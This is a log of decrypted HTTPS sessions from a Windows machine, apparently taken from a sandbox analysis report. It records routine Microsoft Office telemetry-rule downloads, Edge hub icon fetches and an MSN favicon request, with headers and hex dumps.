2024-11-18 03:41:35 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-18 03:41:35 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-18 03:41:35 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-16547b76f7fht2hfhC1DFWbngg00000005p0000000009vq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034134Z-1866b5c5fbbxjblthC1DFW6b480000000380000000005kzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-1866b5c5fbbls4jchC1DFWnmb400000000r00000000017t5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49907	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a413ac11-a01e-006a-5a66-3834ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034135Z-16547b76f7fd4rc5hC1DFWkzhw00000005hg00000000ah9t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49906	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: e64904fa-f01e-0014-7ca6-37ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034135Z-16547b76f7f6892shC1DFWawd0000000024000000000qtmw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49904	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: eed67de9-401e-0042-016b-394313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034135Z-164f84587bfm8kdnhC1DFWey4g00000005dg0000000034rs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49903	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0c120ebd-f01e-005b-40ea-376f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034135Z-1866b5c5fbbwlv6nhC1DFWw4bs00000003s0000000004fqr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49905	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 8c1ed240-601e-0033-6adf-37312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034135Z-16547b76f7fpdsp9hC1DFW8f5000000002rg00000000pr31 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49912	23.198.7.229	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
2024-11-18 03:41:35 UTC	1032	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Akamai-Loopback-Request: 8096267 Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.47.58.246,b=191645635,c=g,n=US_TX_DALLAS,o=20940] Server-Timing: clientrtt; dur=0, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.47.58.246 Akamai-Request-ID: b6c47c3 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.f63a2f17.1731901295.b6c47c3 Vary: Origin
